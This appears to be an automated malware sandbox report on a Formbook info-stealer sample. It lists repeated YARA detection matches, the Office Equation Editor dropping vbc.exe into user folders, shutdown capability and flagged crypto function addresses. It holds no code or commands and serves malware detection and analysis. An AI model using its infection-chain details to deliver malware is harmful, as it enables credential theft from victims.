Source: Yara match File source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Yara signature match
Source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.2f90000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.2f90000.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.469999141.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.507748389.00000000002F0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000001.472000936.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.493026638.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.666335831.00000000003A0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.469326544.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.476798938.0000000002F90000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.507790702.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.499945438.0000000009725000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.507885297.0000000000700000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.666274023.0000000000240000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.666207492.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_004030FB EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 4_2_004030FB
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_004047D3 4_2_004047D3
Source: C:\Users\Public\vbc.exe Code function: 4_2_004061D4 4_2_004061D4
Source: C:\Users\Public\vbc.exe Code function: 4_2_73055990 4_2_73055990
Source: C:\Users\Public\vbc.exe Code function: 4_2_7305DFF2 4_2_7305DFF2
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066A2B 4_2_73066A2B
Source: C:\Users\Public\vbc.exe Code function: 4_2_73066A3A 4_2_73066A3A
Source: C:\Users\Public\vbc.exe Code function: 4_2_73059E5E 4_2_73059E5E
Source: C:\Users\Public\vbc.exe Code function: 4_2_7305F27E 4_2_7305F27E
Source: C:\Users\Public\vbc.exe Code function: 4_2_730606C9 4_2_730606C9
Source: C:\Users\Public\vbc.exe Code function: 4_2_7305EAD6 4_2_7305EAD6
Source: C:\Users\Public\vbc.exe Code function: 4_2_7305E564 4_2_7305E564
Source: C:\Users\Public\vbc.exe Code function: 4_2_730559D4 4_2_730559D4
Source: C:\Users\Public\vbc.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C0F7 5_2_0041C0F7
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C9AF 5_2_0041C9AF
Source: C:\Users\Public\vbc.exe Code function: 5_2_00408C7C 5_2_00408C7C
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BC19 5_2_0041BC19
Source: C:\Users\Public\vbc.exe Code function: 5_2_00408C80 5_2_00408C80
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C5C5 5_2_0041C5C5
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402D87 5_2_00402D87
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BEF9 5_2_0041BEF9
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041CFD6 5_2_0041CFD6
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041CFD9 5_2_0041CFD9
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\Public\vbc.exe Code function: 5_2_007DD06D 5_2_007DD06D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0077905A 5_2_0077905A
Source: C:\Users\Public\vbc.exe Code function: 5_2_00763040 5_2_00763040
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078D005 5_2_0078D005
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075E0C6 5_2_0075E0C6
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075E2E9 5_2_0075E2E9
Source: C:\Users\Public\vbc.exe Code function: 5_2_00801238 5_2_00801238
Source: C:\Users\Public\vbc.exe Code function: 5_2_007AA37B 5_2_007AA37B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00767353 5_2_00767353
Source: C:\Users\Public\vbc.exe Code function: 5_2_008063BF 5_2_008063BF
Source: C:\Users\Public\vbc.exe Code function: 5_2_00762305 5_2_00762305
Source: C:\Users\Public\vbc.exe Code function: 5_2_007863DB 5_2_007863DB
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075F3CF 5_2_0075F3CF
Source: C:\Users\Public\vbc.exe Code function: 5_2_0079D47D 5_2_0079D47D
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E443E 5_2_007E443E
Source: C:\Users\Public\vbc.exe Code function: 5_2_00795485 5_2_00795485
Source: C:\Users\Public\vbc.exe Code function: 5_2_00771489 5_2_00771489
Source: C:\Users\Public\vbc.exe Code function: 5_2_007A6540 5_2_007A6540
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076351F 5_2_0076351F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0077C5F0 5_2_0077C5F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E05E3 5_2_007E05E3
Source: C:\Users\Public\vbc.exe Code function: 5_2_007AA634 5_2_007AA634
Source: C:\Users\Public\vbc.exe Code function: 5_2_00802622 5_2_00802622
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076E6C1 5_2_0076E6C1
Source: C:\Users\Public\vbc.exe Code function: 5_2_00764680 5_2_00764680
Source: C:\Users\Public\vbc.exe Code function: 5_2_007957C3 5_2_007957C3
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076C7BC 5_2_0076C7BC
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E579A 5_2_007E579A
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078286D 5_2_0078286D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076C85C 5_2_0076C85C
Source: C:\Users\Public\vbc.exe Code function: 5_2_007FF8EE 5_2_007FF8EE
Source: C:\Users\Public\vbc.exe Code function: 5_2_007DF8C4 5_2_007DF8C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0080098E 5_2_0080098E
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E5955 5_2_007E5955
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E394B 5_2_007E394B
Source: C:\Users\Public\vbc.exe Code function: 5_2_007769FE 5_2_007769FE
Source: C:\Users\Public\vbc.exe Code function: 5_2_007629B2 5_2_007629B2
Source: C:\Users\Public\vbc.exe Code function: 5_2_00813A83 5_2_00813A83
